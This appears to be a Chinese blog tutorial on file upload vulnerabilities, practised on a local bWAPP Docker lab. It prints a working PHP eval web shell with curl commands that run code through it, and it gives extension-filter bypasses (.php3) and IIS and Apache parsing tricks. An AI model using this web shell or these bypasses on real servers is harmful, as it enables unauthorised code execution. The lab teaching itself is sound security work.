文件上传漏洞

2023-03-09  本文已影响0人  一生逍遥一生

文件上传漏洞是什么?

文件上传漏洞是在开发者没有做充足验证情况下,允许用户上传恶意文件,这里上传的文件可以是木马、病毒、恶意脚本或者webshell等。

部署靶机环境

下载镜像

docker search bwapp # 搜索镜像
docker pull raesene/bwapp # 拉取镜像
docker run -d -p 12345:80 raesene/bwapp # 创建容器
docker ps # 确认容器是否正常运行
docker container list -a|grep bwapp # 查看容器id
docker start container_id # 启动容器,如果容器已经启动,就无需这部操作
docker exec -it container_id bash # 进入容器,修改文件的权限,否在无法上传文件

在进入容器之后,需要对文件的目录权限进行变更,否则无法进行上传操作

root@137640210dd6:/app# cd ..
root@137640210dd6:/# chown -R www-data:www-data app

系统初始化

在浏览器中输入http://localhost:12345/install.php,进入安全页面,选择安装按钮,对应用进行初始化。

image.png

创建用户

在初始化成功之后,跳转到create user页面,填写完信息之后,不要勾选验证邮件这一项,点击创建:


image.png

文件上传

上传漏洞

登录应用之后,选择Unrestricted File Upload 然后点击hack按钮,进入Unrestricted File Upload 页面,


image.png

上传一个文件shell.php文件,并进行查看,在预览页面中没有任何内容展示,因为上传的文件不是一个文本文件,而是一个文件,文件内容为:

<?php @eval($_POST['hacker']); ?>%

在php中,eval是一个特殊的关键字,将一个字符串变成php的运行代码。

<?php @eval($_POST['hacker']); ?> 中的@eval($_POST['hacker']);是要接收post的数据,变量为hacker
image.png
curl -d "hacker=echo get_current_user();" http://localhost:12345/images/shell.php # 获取当前用户
curl -d "hacker=echo getcwd();" http://localhost:12345/images/shell.php  # 获取当前的目录

后缀名跳过

将安全级别设置为medium,将无法上传shell.php文件:


image.png

将shell.php 变成shell.php3,在重新上传文件:


image.png
文件成功上传
image.png

将shell.php 变成shell.php30,在重新上传文件:


image.png
文件内容可以在预览里面看见,因为应用把shell.php30当作一个文本文件,直接展示内容。
查看容器内部的文件:
docker container list -a|grep bwapp # 查看容器id
docker exec -it container_id bash # 进入容器,修改文件的权限,否在无法上传文件
cd /etc/apache2/
cat apache2.conf |grep conf 

通过apache2.conf文件中,可以看到加载的mod有哪些,查看支持的php配置文件位置和内容

cd /etc/apache2/mods-enabled
cat php5.conf

php5.conf文件内容

<FilesMatch ".+\.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
    SetHandler application/x-httpd-php-source
    Order Deny,Allow
    Deny from all
</FilesMatch>
<FilesMatch "^\.ph(p[345]?|t|tml|ps)$">
    Order Deny,Allow
    Deny from all
</FilesMatch>
<IfModule mod_userdir.c>
    <Directory /home/*/public_html>
        php_admin_flag engine Off
    </Directory>
</IfModule>

通过配置文件可以看到,如果后缀名字为php3、php4、php5都会解析为PHP文件,php30是无法解析为php文件的。

前端绕过

ISS 5.x/6 解析漏洞

漏洞1:当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都解析为asp文件
漏洞2:服务器默认不解析;以后的内容
漏洞利用形式:
漏洞1: www.xx.com/xx.asp/xx.jpg 会被解析成asp文件
漏洞2: www.xx.com/xx.asp;.jpg 会被解析为asp文件

Apache漏洞

Apache 在1.x和2.x版本中存在解析漏洞:
Apache从右至左开始判断后缀,跳过非可识别后缀,直到找到可识别后缀为止,
然后将该可识别后缀进解析。

前端验证绕过

利用方式:
1.使用Burp Suite来拦截请求,将请求进行修改;
2.通过chrome禁止/删除js代码。

Windows文件流

什么是Windows文件流?
NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,Windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。

上一篇下一篇

猜你喜欢

热点阅读